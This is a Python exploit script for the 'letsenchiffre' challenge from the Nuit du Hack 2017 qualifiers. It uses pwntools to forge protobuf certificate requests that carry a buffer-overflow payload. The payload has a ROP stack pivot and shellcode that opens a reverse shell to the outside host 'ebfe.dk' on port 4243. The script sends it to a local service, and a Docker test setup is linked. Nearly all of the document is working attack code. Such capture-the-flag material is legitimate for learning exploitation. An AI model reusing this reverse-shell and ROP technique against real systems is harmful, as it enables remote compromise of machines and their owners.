Exploit for letsenchiffre from Nuit du Hack quals 2017

doit_letsenchiffre.py

import letsenchiffre_pb2 as letsenchiffre
from pwn import *

def forge_request(password):
    crtreq = letsenchiffre.CertificateRequest()
    crtreq.Locality = "A"
    crtreq.State = "A"
    crtreq.City = "A"
    crtreq.Company = "A"
    crtreq.CommonName = "A"
    crtreq.CertificatePassword = password
    return crtreq.SerializeToString()

sc = "\x90"*10 + asm(shellcraft.connect("ebfe.dk", 4243) + shellcraft.dupsh('edx'))

pop_esp_pop4_ret = 0x0804b490
new_esp = 0x08056450 - 4*4 # a few pops below password_g
rop1 = [pop_esp_pop4_ret, new_esp, "AAAA"]

padding = "letsenchiffre"*12
payload = sc + padding[:133-len(sc)] + flat(rop1)

req1 = forge_request(randoms(99))
req2 = forge_request("A"*len(payload)) #protobuf is a bitch!
req2 = req2.replace("A"*len(payload), payload)

r1 = remote("localhost", 9999)
r2 = remote("localhost", 9999)

r1.send(req1)
r2.send(req2)

Docker for test setup: https://gist.github.com/kokjo/b57addb2a9a29111f2ab4548ba05da9f